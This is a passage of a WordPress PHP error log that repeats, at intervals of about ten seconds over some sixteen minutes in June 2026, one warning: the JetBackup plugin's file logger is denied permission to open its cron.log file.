fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:12:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:12:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:12:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:12:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:13:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:13:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:13:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:13:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:13:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:13:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:14:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:14:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:14:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:14:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:14:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:14:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:15:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:15:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:15:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:15:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:15:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:15:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:16:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:16:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:16:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:16:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:16:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:16:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:17:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:17:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:17:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:17:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:17:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:17:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:18:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:18:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:18:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:18:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:18:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:18:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:19:05 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:19:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:19:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:19:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:19:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:19:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:20:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:20:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:20:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:20:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:20:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:20:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:21:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:21:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:21:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:21:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:21:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:21:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:22:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:22:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:22:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:22:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:22:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:22:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:23:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:23:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:23:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:23:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:23:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:23:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:24:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:24:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:24:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:24:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:24:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:24:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:25:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:25:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:25:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:25:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:25:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:25:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:26:05 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:26:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:26:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:26:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:26:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:26:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:27:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:27:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:27:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:27:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:27:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:27:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:28:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:28:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 16:28:24 UTC] PHP Warning: 